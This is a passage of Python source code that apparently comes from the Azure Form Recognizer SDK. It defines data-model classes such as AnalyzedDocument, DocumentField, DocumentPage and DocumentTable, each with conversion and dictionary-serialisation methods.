[f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentLanguage\n \"\"\"Converts a dict in the shape of a DocumentLanguage to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentLanguage.\n :return: DocumentLanguage\n :rtype: DocumentLanguage\n \"\"\"\n return cls(\n language_code=data.get(\"language_code\", None),\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass AnalyzedDocument(object):\n \"\"\"An object describing the location and semantic content of a document.\n\n :ivar doc_type: The type of document that was analyzed.\n :vartype doc_type: str\n :ivar bounding_regions: Bounding regions covering the document.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: The location of the document in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar fields: A dictionary of named field values.\n :vartype fields: dict[str, ~azure.ai.formrecognizer.DocumentField]\n :ivar confidence: Confidence of correctly extracting the document.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.doc_type = kwargs.get(\"doc_type\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.fields = kwargs.get(\"fields\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, document):\n return cls(\n doc_type=document.doc_type,\n bounding_regions=prepare_bounding_regions(document.bounding_regions),\n spans=prepare_document_spans(document.spans),\n fields={\n key: DocumentField._from_generated(field)\n for key, field in document.fields.items()\n }\n if document.fields\n else {},\n confidence=document.confidence,\n )\n\n def __repr__(self):\n return \"AnalyzedDocument(doc_type={}, bounding_regions={}, spans={}, fields={}, confidence={})\".format(\n self.doc_type,\n repr(self.bounding_regions),\n repr(self.spans),\n repr(self.fields),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AnalyzedDocument.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"doc_type\": self.doc_type,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"fields\": {k: v.to_dict() for k, v in self.fields.items()}\n if self.fields\n else {},\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AnalyzedDocument\n \"\"\"Converts a dict in the shape of a AnalyzedDocument to the model itself.\n\n :param dict data: A dictionary in the shape of AnalyzedDocument.\n :return: AnalyzedDocument\n :rtype: AnalyzedDocument\n \"\"\"\n return cls(\n doc_type=data.get(\"doc_type\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n fields={k: DocumentField.from_dict(v) for k, v in data.get(\"fields\").items()} # type: ignore\n if data.get(\"fields\")\n else {},\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentEntity(object):\n \"\"\"An object representing various categories of entities.\n\n :ivar category: Entity type.\n :vartype category: str\n :ivar sub_category: Entity sub type.\n :vartype sub_category: str\n :ivar content: Entity content.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the entity.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the entity in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: Confidence of correctly extracting the entity.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.category = kwargs.get(\"category\", None)\n self.sub_category = kwargs.get(\"sub_category\", None)\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, entity):\n return cls(\n category=entity.category,\n sub_category=entity.sub_category,\n content=entity.content,\n bounding_regions=[\n BoundingRegion(\n page_number=region.page_number,\n bounding_box=get_bounding_box(region),\n )\n for region in entity.bounding_regions\n ]\n if entity.bounding_regions\n else [],\n spans=[\n DocumentSpan(\n offset=span.offset,\n length=span.length,\n )\n for span in entity.spans\n ]\n if entity.spans\n else [],\n confidence=entity.confidence,\n )\n\n def __repr__(self):\n return (\n \"DocumentEntity(category={}, sub_category={}, content={}, bounding_regions={}, spans={}, \"\n \"confidence={})\".format(\n self.category,\n self.sub_category,\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n self.confidence,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentEntity.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"category\": self.category,\n \"sub_category\": self.sub_category,\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentEntity\n \"\"\"Converts a dict in the shape of a DocumentEntity to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentEntity.\n :return: DocumentEntity\n :rtype: DocumentEntity\n \"\"\"\n return cls(\n category=data.get(\"category\", None),\n sub_category=data.get(\"sub_category\", None),\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentField(object):\n \"\"\"An object representing the content and location of a document field value.\n\n :ivar str value_type: The type of `value` found on DocumentField. Possible types include:\n \"string\", \"date\", \"time\", \"phoneNumber\", \"float\", \"integer\", \"selectionMark\", \"countryRegion\",\n \"signature\", \"currency\", \"list\", \"dictionary\".\n :ivar value:\n The value for the recognized field. Its semantic data type is described by `value_type`.\n If the value is extracted from the document, but cannot be normalized to its type,\n then access the `content` property for a textual representation of the value.\n :vartype value: str, int, float, :class:`~datetime.date`, :class:`~datetime.time`,\n :class:`~azure.ai.formrecognizer.CurrencyValue`,\n dict[str, :class:`~azure.ai.formrecognizer.DocumentField`],\n or list[:class:`~azure.ai.formrecognizer.DocumentField`]\n :ivar content: The field's content.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the field.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the field in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: The confidence of correctly extracting the field.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.value_type = kwargs.get(\"value_type\", None)\n self.value = kwargs.get(\"value\", None)\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, field):\n if field is None:\n return None\n return cls(\n value=get_field_value_v3(field),\n value_type=adjust_value_type(field.type) if field.type else None,\n content=field.content if field.content else None,\n bounding_regions=[\n BoundingRegion(\n page_number=region.page_number,\n bounding_box=get_bounding_box(region),\n )\n for region in field.bounding_regions\n ]\n if field.bounding_regions\n else [],\n spans=[\n DocumentSpan(\n offset=span.offset,\n length=span.length,\n )\n for span in field.spans\n ]\n if field.spans\n else [],\n confidence=field.confidence if field.confidence else None,\n )\n\n def __repr__(self):\n return (\n \"DocumentField(value_type={}, value={}, content={}, bounding_regions={}, spans={}, \"\n \"confidence={})\".format(\n self.value_type,\n repr(self.value),\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n self.confidence,\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentField.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"value_type\": self.value_type,\n \"value\": self.value,\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentField\n \"\"\"Converts a dict in the shape of a DocumentField to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentField.\n :return: DocumentField\n :rtype: DocumentField\n \"\"\"\n return cls(\n value_type=data.get(\"value_type\", None),\n value=data.get(\"value\", None),\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentKeyValueElement(object):\n \"\"\"An object representing the field key or value in a key-value pair.\n\n :ivar content: Concatenated content of the key-value element in reading order.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the key-value element.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the key-value element in the reading order of the concatenated\n content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, element):\n return cls(\n content=element.content,\n bounding_regions=[\n BoundingRegion._from_generated(region)\n for region in element.bounding_regions\n ]\n if element.bounding_regions\n else [],\n spans=[DocumentSpan._from_generated(span) for span in element.spans]\n if element.spans\n else [],\n )\n\n def __repr__(self):\n return (\n \"DocumentKeyValueElement(content={}, bounding_regions={}, spans={})\".format(\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentKeyValueElement.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentKeyValueElement\n \"\"\"Converts a dict in the shape of a DocumentKeyValueElement to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentKeyValueElement.\n :return: DocumentKeyValueElement\n :rtype: DocumentKeyValueElement\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass DocumentKeyValuePair(object):\n \"\"\"An object representing a document field with distinct field label (key) and field value (may be empty).\n\n :ivar key: Field label of the key-value pair.\n :vartype key: ~azure.ai.formrecognizer.DocumentKeyValueElement\n :ivar value: Field value of the key-value pair.\n :vartype value: ~azure.ai.formrecognizer.DocumentKeyValueElement\n :ivar confidence: Confidence of correctly extracting the key-value pair.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.key = kwargs.get(\"key\", None)\n self.value = kwargs.get(\"value\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, key_value_pair):\n return cls(\n key=DocumentKeyValueElement._from_generated(key_value_pair.key)\n if key_value_pair.key\n else None,\n value=DocumentKeyValueElement._from_generated(key_value_pair.value)\n if key_value_pair.value\n else None,\n confidence=key_value_pair.confidence,\n )\n\n def __repr__(self):\n return \"DocumentKeyValuePair(key={}, value={}, confidence={})\".format(\n repr(self.key),\n repr(self.value),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentKeyValuePair.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"key\": self.key.to_dict() if self.key else None,\n \"value\": self.value.to_dict() if self.value else None,\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentKeyValuePair\n \"\"\"Converts a dict in the shape of a DocumentKeyValuePair to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentKeyValuePair.\n :return: DocumentKeyValuePair\n :rtype: DocumentKeyValuePair\n \"\"\"\n return cls(\n key=DocumentKeyValueElement.from_dict(data.get(\"key\")) # type: ignore\n if data.get(\"key\")\n else None,\n value=DocumentKeyValueElement.from_dict(data.get(\"value\")) # type: ignore\n if data.get(\"value\")\n else None,\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentLine(object):\n \"\"\"A content line object representing the content found on a single line of the document.\n\n :ivar content: Concatenated content of the contained elements in reading order.\n :vartype content: str\n :ivar bounding_box: Bounding box of the line.\n :vartype bounding_box: list[Point]\n :ivar spans: Location of the line in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self._parent = kwargs.get(\"_parent\", None)\n self.content = kwargs.get(\"content\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, line, document_page):\n return cls(\n _parent=document_page,\n content=line.content,\n bounding_box=get_bounding_box(line),\n spans=prepare_document_spans(line.spans),\n )\n\n def __repr__(self):\n return \"DocumentLine(content={}, bounding_box={}, spans={})\".format(\n self.content,\n self.bounding_box,\n repr(self.spans),\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentLine.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentLine\n \"\"\"Converts a dict in the shape of a DocumentLine to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentLine.\n :return: DocumentLine\n :rtype: DocumentLine\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n def get_words(self, **kwargs): # pylint: disable=unused-argument\n # type: (Any) -> Iterable[DocumentWord]\n \"\"\"Get the words found in the spans of this DocumentLine.\n\n :return: iterable[DocumentWord]\n :rtype: iterable[DocumentWord]\n \"\"\"\n if not self._parent:\n raise ValueError(\n \"Cannot use get_words() on a model that has been converted from a dictionary. \"\n \"Missing reference to parent element.\"\n )\n result = []\n for word in self._parent.words:\n if _in_span(word, self.spans):\n result.append(word)\n return result\n\n\nclass DocumentPage(object):\n \"\"\"Content and layout elements extracted from a page of the input.\n\n :ivar page_number: 1-based page number in the input document.\n :vartype page_number: int\n :ivar angle: The general orientation of the content in clockwise direction, measured\n in degrees between (-180, 180].\n :vartype angle: float\n :ivar width: The width of the image/PDF in pixels/inches, respectively.\n :vartype width: float\n :ivar height: The height of the image/PDF in pixels/inches, respectively.\n :vartype height: float\n :ivar unit: The unit used by the width, height, and boundingBox properties. For\n images, the unit is \"pixel\". For PDF, the unit is \"inch\". Possible values include: \"pixel\",\n \"inch\".\n :vartype unit: str\n :ivar spans: Location of the page in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar words: Extracted words from the page.\n :vartype words: list[~azure.ai.formrecognizer.DocumentWord]\n :ivar selection_marks: Extracted selection marks from the page.\n :vartype selection_marks:\n list[~azure.ai.formrecognizer.DocumentSelectionMark]\n :ivar lines: Extracted lines from the page, potentially containing both textual and\n visual elements.\n :vartype lines: list[~azure.ai.formrecognizer.DocumentLine]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.angle = kwargs.get(\"angle\", None)\n self.width = kwargs.get(\"width\", None)\n self.height = kwargs.get(\"height\", None)\n self.unit = kwargs.get(\"unit\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.words = kwargs.get(\"words\", None)\n self.selection_marks = kwargs.get(\"selection_marks\", None)\n self.lines = kwargs.get(\"lines\", None)\n\n @classmethod\n def _from_generated(cls, page):\n return cls(\n page_number=page.page_number,\n angle=adjust_text_angle(page.angle),\n width=page.width,\n height=page.height,\n unit=page.unit,\n lines=[DocumentLine._from_generated(line, page) for line in page.lines]\n if page.lines\n else [],\n words=[DocumentWord._from_generated(word) for word in page.words]\n if page.words\n else [],\n selection_marks=[\n DocumentSelectionMark._from_generated(mark)\n for mark in page.selection_marks\n ]\n if page.selection_marks\n else [],\n spans=prepare_document_spans(page.spans),\n )\n\n def __repr__(self):\n return (\n \"DocumentPage(page_number={}, angle={}, width={}, height={}, unit={}, lines={}, words={}, \"\n \"selection_marks={}, spans={})\".format(\n self.page_number,\n self.angle,\n self.width,\n self.height,\n self.unit,\n repr(self.lines),\n repr(self.words),\n repr(self.selection_marks),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentPage.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"angle\": self.angle,\n \"width\": self.width,\n \"height\": self.height,\n \"unit\": self.unit,\n \"lines\": [f.to_dict() for f in self.lines]\n if self.lines\n else [],\n \"words\": [f.to_dict() for f in self.words]\n if self.words\n else [],\n \"selection_marks\": [f.to_dict() for f in self.selection_marks]\n if self.selection_marks\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentPage\n \"\"\"Converts a dict in the shape of a DocumentPage to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentPage.\n :return: DocumentPage\n :rtype: DocumentPage\n \"\"\"\n return cls(\n page_number=data.get(\"page_number\", None),\n angle=data.get(\"angle\", None),\n width=data.get(\"width\", None),\n height=data.get(\"height\", None),\n unit=data.get(\"unit\", None),\n lines=[DocumentLine.from_dict(v) for v in data.get(\"lines\")] # type: ignore\n if len(data.get(\"lines\", [])) > 0\n else [],\n words=[DocumentWord.from_dict(v) for v in data.get(\"words\")] # type: ignore\n if len(data.get(\"words\", [])) > 0\n else [],\n selection_marks=[DocumentSelectionMark.from_dict(v) for v in data.get(\"selection_marks\")] # type: ignore\n if len(data.get(\"selection_marks\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass DocumentSelectionMark(DocumentContentElement):\n \"\"\"A selection mark object representing check boxes, radio buttons, and other elements indicating a selection.\n\n :ivar state: State of the selection mark. Possible values include: \"selected\",\n \"unselected\".\n :vartype state: str\n :ivar content: The text content - not returned for DocumentSelectionMark.\n :vartype content: str\n :ivar bounding_box: Bounding box of the selection mark.\n :vartype bounding_box: list[Point]\n :ivar span: Location of the selection mark in the reading order concatenated\n content.\n :vartype span: ~azure.ai.formrecognizer.DocumentSpan\n :ivar confidence: Confidence of correctly extracting the selection mark.\n :vartype confidence: float\n :ivar str kind: For DocumentSelectionMark, this is \"selectionMark\".\n \"\"\"\n\n def __init__(self, **kwargs):\n super(DocumentSelectionMark, self).__init__(kind=\"selectionMark\", **kwargs)\n self.state = kwargs.get(\"state\", None)\n\n @classmethod\n def _from_generated(cls, mark):\n return cls(\n state=mark.state,\n bounding_box=get_bounding_box(mark),\n span=DocumentSpan._from_generated(mark.span)\n if mark.span\n else None,\n confidence=mark.confidence,\n )\n\n def __repr__(self):\n return \"DocumentSelectionMark(state={}, content={}, span={}, confidence={}, bounding_box={}, kind={})\".format(\n self.state,\n self.content,\n repr(self.span),\n self.confidence,\n self.bounding_box,\n self.kind,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentSelectionMark.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"state\": self.state,\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"span\": self.span.to_dict() if self.span else None,\n \"confidence\": self.confidence,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentSelectionMark\n \"\"\"Converts a dict in the shape of a DocumentSelectionMark to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentSelectionMark.\n :return: DocumentSelectionMark\n :rtype: DocumentSelectionMark\n \"\"\"\n return cls(\n state=data.get(\"state\", None),\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n span=DocumentSpan.from_dict(data.get(\"span\")) if data.get(\"span\") else None, # type: ignore\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentStyle(object):\n \"\"\"An object representing observed text styles.\n\n :ivar is_handwritten: Is content handwritten?.\n :vartype is_handwritten: bool\n :ivar spans: Location of the text elements in the concatenated content the style\n applies to.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: Confidence of correctly identifying the style.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.is_handwritten = kwargs.get(\"is_handwritten\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, style):\n return cls(\n is_handwritten=style.is_handwritten,\n spans=[DocumentSpan._from_generated(span) for span in style.spans]\n if style.spans\n else [],\n confidence=style.confidence,\n )\n\n def __repr__(self):\n return \"DocumentStyle(is_handwritten={}, spans={}, confidence={})\".format(\n self.is_handwritten,\n repr(self.spans),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentStyle.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"is_handwritten\": self.is_handwritten,\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n \"confidence\": self.confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentStyle\n \"\"\"Converts a dict in the shape of a DocumentStyle to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentStyle.\n :return: DocumentStyle\n :rtype: DocumentStyle\n \"\"\"\n return cls(\n is_handwritten=data.get(\"is_handwritten\", None),\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n confidence=data.get(\"confidence\", None),\n )\n\n\nclass DocumentTable(object):\n \"\"\"A table object consisting table cells arranged in a rectangular layout.\n\n :ivar row_count: Number of rows in the table.\n :vartype row_count: int\n :ivar column_count: Number of columns in the table.\n :vartype column_count: int\n :ivar cells: Cells contained within the table.\n :vartype cells: list[~azure.ai.formrecognizer.DocumentTableCell]\n :ivar bounding_regions: Bounding regions covering the table.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the table in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.row_count = kwargs.get(\"row_count\", None)\n self.column_count = kwargs.get(\"column_count\", None)\n self.cells = kwargs.get(\"cells\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, table):\n return cls(\n row_count=table.row_count,\n column_count=table.column_count,\n cells=[DocumentTableCell._from_generated(cell) for cell in table.cells]\n if table.cells\n else [],\n bounding_regions=prepare_bounding_regions(table.bounding_regions),\n spans=prepare_document_spans(table.spans),\n )\n\n def __repr__(self):\n return (\n \"DocumentTable(row_count={}, column_count={}, cells={}, bounding_regions={}, \"\n \"spans={})\".format(\n self.row_count,\n self.column_count,\n repr(self.cells),\n repr(self.bounding_regions),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentTable.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"row_count\": self.row_count,\n \"column_count\": self.column_count,\n \"cells\": [f.to_dict() for f in self.cells]\n if self.cells\n else [],\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentTable\n \"\"\"Converts a dict in the shape of a DocumentTable to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentTable.\n :return: DocumentTable\n :rtype: DocumentTable\n \"\"\"\n return cls(\n row_count=data.get(\"row_count\", None),\n column_count=data.get(\"column_count\", None),\n cells=[DocumentTableCell.from_dict(v) for v in data.get(\"cells\")] # type: ignore\n if len(data.get(\"cells\", [])) > 0\n else [],\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass DocumentTableCell(object):\n \"\"\"An object representing the location and content of a table cell.\n\n :ivar kind: Table cell kind. Possible values include: \"content\", \"rowHeader\", \"columnHeader\",\n \"stubHead\", \"description\". Default value: \"content\".\n :vartype kind: str\n :ivar row_index: Row index of the cell.\n :vartype row_index: int\n :ivar column_index: Column index of the cell.\n :vartype column_index: int\n :ivar row_span: Number of rows spanned by this cell.\n :vartype row_span: int\n :ivar column_span: Number of columns spanned by this cell.\n :vartype column_span: int\n :ivar content: Concatenated content of the table cell in reading order.\n :vartype content: str\n :ivar bounding_regions: Bounding regions covering the table cell.\n :vartype bounding_regions: list[~azure.ai.formrecognizer.BoundingRegion]\n :ivar spans: Location of the table cell in the reading order concatenated content.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n \"\"\"\n\n def __init__(self, **kwargs):\n self.kind = kwargs.get(\"kind\", \"content\")\n self.row_index = kwargs.get(\"row_index\", None)\n self.column_index = kwargs.get(\"column_index\", None)\n self.row_span = kwargs.get(\"row_span\", 1)\n self.column_span = kwargs.get(\"column_span\", 1)\n self.content = kwargs.get(\"content\", None)\n self.bounding_regions = kwargs.get(\"bounding_regions\", None)\n self.spans = kwargs.get(\"spans\", None)\n\n @classmethod\n def _from_generated(cls, cell):\n return cls(\n kind=cell.kind if cell.kind else \"content\",\n row_index=cell.row_index,\n column_index=cell.column_index,\n row_span=cell.row_span if cell.row_span else 1,\n column_span=cell.column_span if cell.column_span else 1,\n content=cell.content,\n bounding_regions=[\n BoundingRegion._from_generated(region)\n for region in cell.bounding_regions\n ]\n if cell.bounding_regions\n else [],\n spans=[DocumentSpan._from_generated(span) for span in cell.spans]\n if cell.spans\n else [],\n )\n\n def __repr__(self):\n return (\n \"DocumentTableCell(kind={}, row_index={}, column_index={}, row_span={}, column_span={}, \"\n \"content={}, bounding_regions={}, spans={})\".format(\n self.kind,\n self.row_index,\n self.column_index,\n self.row_span,\n self.column_span,\n self.content,\n repr(self.bounding_regions),\n repr(self.spans),\n )\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentTableCell.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"kind\": self.kind,\n \"row_index\": self.row_index,\n \"column_index\": self.column_index,\n \"row_span\": self.row_span,\n \"column_span\": self.column_span,\n \"content\": self.content,\n \"bounding_regions\": [f.to_dict() for f in self.bounding_regions]\n if self.bounding_regions\n else [],\n \"spans\": [f.to_dict() for f in self.spans]\n if self.spans\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentTableCell\n \"\"\"Converts a dict in the shape of a DocumentTableCell to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentTableCell.\n :return: DocumentTableCell\n :rtype: DocumentTableCell\n \"\"\"\n return cls(\n kind=data.get(\"kind\", \"content\"),\n row_index=data.get(\"row_index\", None),\n column_index=data.get(\"column_index\", None),\n row_span=data.get(\"row_span\", 1),\n column_span=data.get(\"column_span\", 1),\n content=data.get(\"content\", None),\n bounding_regions=[BoundingRegion.from_dict(v) for v in data.get(\"bounding_regions\")] # type: ignore\n if len(data.get(\"bounding_regions\", [])) > 0\n else [],\n spans=[DocumentSpan.from_dict(v) for v in data.get(\"spans\")] # type: ignore\n if len(data.get(\"spans\", [])) > 0\n else [],\n )\n\n\nclass ModelOperationInfo(object):\n \"\"\"Model operation information, including the kind and status of the operation, when it was\n created, and more.\n\n Note that operation information only persists for 24 hours. If the operation was successful,\n the model can be accessed using the :func:`~get_model` or :func:`~list_models` APIs.\n To find out why an operation failed, use :func:`~get_operation` and provide the `operation_id`.\n\n :ivar operation_id: Operation ID.\n :vartype operation_id: str\n :ivar status: Operation 